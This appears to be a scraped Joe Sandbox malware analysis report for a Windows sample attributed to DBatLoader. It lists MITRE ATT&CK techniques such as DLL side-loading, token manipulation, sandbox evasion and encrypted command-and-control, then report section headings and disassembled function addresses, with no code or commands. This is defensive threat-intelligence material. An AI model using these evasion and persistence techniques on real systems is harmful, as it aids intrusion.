Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report UAHIzSm2x2.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DBatLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Windows Analysis Report
UAHIzSm2x2.exe

Function 028AF0A8 Relevance: 243.3, APIs: 11, Strings: 122, Instructions: 10535
filesleepCOMMON

Function 02895A78 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Function 028AF024 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Function 028ADFE4 Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Function 028AE72C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Function 028A7CF8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49
nativeCOMMON

Function 028A6D48 Relevance: 1.5, APIs: 1, Instructions: 48
comCOMMON

Function 02891724 Relevance: 9.0, APIs: 7, Instructions: 289
sleepCOMMON

Function 028A8704 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35
libraryCOMMON

Function 02891A8C Relevance: 7.7, APIs: 6, Instructions: 175
sleepCOMMON

Function 028AE72A Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Function 028A881C Relevance: 6.1, APIs: 4, Instructions: 65
libraryloaderCOMMON

Function 0289E2E4 Relevance: 4.5, APIs: 3, Instructions: 45
COMMON

Function 028A705C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256
COMMON

Function 0289E37C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON